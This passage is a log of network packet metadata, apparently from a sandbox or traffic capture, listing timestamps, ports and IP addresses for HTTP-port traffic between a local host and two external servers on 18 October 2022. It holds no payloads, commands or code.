Oct 18, 2022 13:28:04.132467985 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.132471085 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.132471085 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.132612944 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.133052111 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.133156061 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.133179903 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.133295059 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.133703947 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.133737087 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.133771896 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.133858919 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.133929014 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.133997917 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.134058952 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.134119034 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.182583094 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.182612896 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.182928085 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.182934999 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.182996988 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.183150053 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.183737040 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.183881998 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.184076071 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.184237957 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.184294939 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.184318066 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.199445963 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199470043 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199487925 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199501038 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199517012 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199528933 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199542046 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199556112 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199568033 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199579954 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199593067 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199605942 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199619055 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199631929 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199644089 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199656963 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199670076 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199681997 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199693918 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199707031 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199719906 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199769020 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199825048 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.199915886 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199959040 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.199973106 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.199973106 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.200051069 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.200103998 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.200103998 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.200406075 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.200647116 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.200680971 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.237341881 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.237401962 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.237682104 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.237895012 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.238215923 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.238293886 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.238565922 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.238598108 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.239108086 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.239161015 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.239352942 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.239542007 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.239609957 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.240148067 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.240587950 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.240731001 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.254188061 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.254220963 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.254422903 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.254574060 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.255403042 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.255979061 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.256917953 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.256967068 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.257213116 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.257375956 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.257487059 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.258061886 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.258939981 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.259243965 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.259260893 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.259385109 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.259705067 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.259849072 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.259922028 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.260024071 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.260097027 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.260148048 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.314024925 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.314054966 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.314068079 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.314373016 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.314687014 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.314749002 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.315550089 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.316261053 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.316431999 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.316834927 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.317414045 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.317594051 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.317872047 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.318821907 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.319907904 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.319947004 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.321357965 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.321764946 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.322037935 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.322314978 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.322348118 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.322395086 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.400568008 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.400744915 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.400943995 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.455240965 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.691018105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:04.754100084 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.754266977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:04.762947083 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:04.868513107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902276993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902321100 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902345896 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902368069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902385950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902404070 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902426004 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902451992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902457952 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:04.902473927 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902497053 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:04.902498960 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:04.902535915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.096378088 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.096493959 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.160778999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.160974026 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.224195957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.224241972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.224399090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.224452019 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.284898043 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.284936905 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.284954071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.284974098 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.285106897 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.285147905 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.346981049 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.347028017 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.347048998 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.347068071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.347090006 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.347109079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.347260952 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.347260952 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.407807112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.407861948 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.407881021 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.407898903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.407917976 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.407938957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.407957077 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.407974958 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.407993078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.408036947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.408066988 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.468627930 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468677044 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468697071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468717098 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468734980 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468755007 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468772888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468791962 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468812943 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468827963 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.468831062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468851089 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468868971 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468883038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.468888998 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468908072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.468919039 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.468945980 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.529252052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529295921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529318094 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529341936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529361963 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529378891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529396057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.529398918 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529417038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529433966 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529436111 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.529454947 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529474974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529494047 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.529494047 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529512882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529522896 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.529531956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529546976 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.529548883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.529587030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.529614925 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.590239048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590276003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590293884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590306997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590320110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590337038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590357065 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590375900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590377092 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.590394020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590415001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590420008 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.590432882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590451002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590456009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.590471029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590488911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590490103 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.590508938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590517998 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.590528011 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.590553045 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.590573072 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.650989056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651031971 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651052952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651072979 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651091099 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651108027 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651124954 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651155949 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651166916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.651174068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651192904 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651210070 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651216984 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.651226997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651242971 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.651245117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651262999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651269913 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.651279926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651290894 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.651298046 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.651361942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.651361942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.711787939 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.711832047 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.711850882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.711869955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.711889029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.711908102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.711925983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.711944103 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.711961031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.711978912 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.711997032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.712013960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.712030888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.712049961 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.712068081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.712085962 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.712158918 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.712198019 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.772627115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772667885 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772686005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772703886 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772721052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772725105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.772738934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772758007 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772759914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.772774935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772798061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772806883 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.772814989 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772830963 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.772834063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772851944 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772870064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772870064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.772886992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772905111 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.772907019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772924900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772931099 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.772943020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772957087 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.772960901 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.772994041 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.773022890 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.876987934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877024889 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877043009 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877057076 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877077103 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877094984 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877113104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877131939 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877150059 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877166986 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877180099 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877204895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877213955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.877226114 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877244949 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877264023 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877283096 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877289057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.877301931 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877324104 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.877324104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.877357006 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.877381086 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:05.937905073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:05.937944889 CEST	80	49701	141.8.199.69	192.168.2.7
